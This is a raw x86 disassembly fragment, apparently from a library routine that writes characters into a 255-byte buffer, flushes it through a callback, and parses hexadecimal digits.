call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x41
mov edx, 1
jmp 0x6737727c
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x5f
mov ecx, 1
jmp 0x6737725b
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x673772e0
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x75
mov eax, 1
jmp 0x673772dd
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
xor eax, eax
jmp 0x67378824
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
xor eax, eax
jmp 0x673787f0
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x673787c8
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x63
mov eax, 1
jmp 0x673787c5
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x61
mov edx, 1
jmp 0x673787a5
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x72
mov eax, 1
jmp 0x67378784
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x46
mov edx, 1
jmp 0x67378764
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x5f
mov ecx, 1
jmp 0x67378743
add esi, 3
mov dword [ebp - 0x74], esi
cmp edi, esi
jbe 0x67378e15
mov dword [ebp - 0x78], 0
xor esi, esi
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x80], ebx
jmp 0x6737b74a
movsx ecx, cl
sub ecx, 0x30
inc eax
cmp edi, eax
jbe 0x6737b7a7
shl esi, 4
lea esi, [ecx + esi]
mov cl, byte [eax]
lea ebx, [ecx - 0x30]
cmp bl, 9
jbe 0x6737b739
lea ebx, [ecx - 0x41]
cmp bl, 5
ja 0x6737b764
movsx ecx, cl
sub ecx, 0x37
jmp 0x6737b73f
lea ebx, [ecx - 0x61]
cmp bl, 5
ja 0x6737bb6c
movsx ecx, cl
sub ecx, 0x57
jmp 0x6737b73f
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x20]
mov dword [ebx + 0x114], eax
mov dword [ebp - 0x1c], edx
jmp 0x67377a44
mov dword [ebp - 0x74], 1
jmp 0x673766fd
mov eax, dword [ebp - 0x7c]
mov ebx, dword [ebp - 0x80]
mov esi, dword [ebp - 0x6c]
jmp 0x67378604
mov esi, dword [ebp - 0x6c]
mov edx, dword [esi + 4]
mov eax, ebx
call fcn.6737e4b4
mov edx, 0x673a0946
mov eax, ebx
call fcn.673755c8
jmp case.default.0x6737b2da
mov ebx, dword [ebp - 0x84]
jmp case.0x6737598c.49
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x74
mov eax, 1
jmp 0x67378a36
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x61
mov edx, 1
jmp 0x67378a16
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x53
mov eax, 1
jmp 0x673789f5
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x5f
mov edx, 1
jmp 0x673789d5
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
xor edx, edx
jmp 0x67378cbf
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
xor eax, eax
jmp 0x67377a97
mov eax, dword [ebp - 0x20]
mov dword [ebx + 0x114], eax
jmp 0x67377a5d
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
xor edx, edx
jmp 0x67378c6a
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
xor eax, eax
jmp 0x67378c1d
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x67378a85
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x3a
mov eax, 1
jmp 0x67378a82
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
xor eax, eax
jmp 0x67378c46
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x67378a39
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, dword [ebx]
and eax, 0x20
xor edx, edx
jmp 0x6737843f
mov edx, dword [edx + 4]
jmp 0x673779b1
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
xor eax, eax
jmp 0x67375bc1
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
xor eax, eax
jmp 0x67375b8d
mov dword [ebp - 0x78], 3
jmp 0x6737798b
mov dword [ebp - 0x78], 2
jmp 0x6737798b
mov dword [ebp - 0x78], 1
jmp 0x6737798b
cmp dword [ebx + 0x104], 0xff
je 0x6737bcfe
mov eax, dword [ebx + 0x104]
mov byte [ebx + eax + 4], 0x2d
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x2d
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 8]
jmp 0x6737b2c7
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x7c]
mov ebx, dword [ebp - 0x80]
cmp dword [ebp - 0x74], edi
jae 0x67378e15
mov esi, dword [ebp - 0x6c]
cmp cl, 0x5f
jne 0x67378604
cmp dword [ebp - 0x78], 0xff
ja 0x67378604
mov dl, byte [ebp - 0x78]
cmp eax, 0xff
jne 0x6737bbe5
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov esi, dword [ebp - 0x70]
mov dword [esp], esi
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
mov dword [ebx + 0x104], 0
inc dword [ebx + 0x124]
mov dl, byte [ebp - 0x8c]
mov eax, dword [ebx + 0x104]
mov byte [ebx + eax + 4], dl
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
mov esi, dword [ebp - 0x74]
inc esi
jmp 0x6737861e
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
mov dword [ebx + 0x104], 0
inc dword [ebx + 0x124]
jmp 0x6737b21d
mov edx, str.false
mov eax, ebx
call fcn.673755c8
jmp case.default.0x6737b2da
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
mov dword [ebx + 0x104], 0
inc dword [ebx + 0x124]
jmp 0x6737b313
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
mov dword [ebx + 0x104], 0
inc dword [ebx + 0x124]
jmp 0x6737b341
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
mov dword [ebx + 0x104], 0
inc dword [ebx + 0x124]
jmp 0x67375c0c
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
mov dword [ebx + 0x104], 0
inc dword [ebx + 0x124]
jmp 0x6737bb48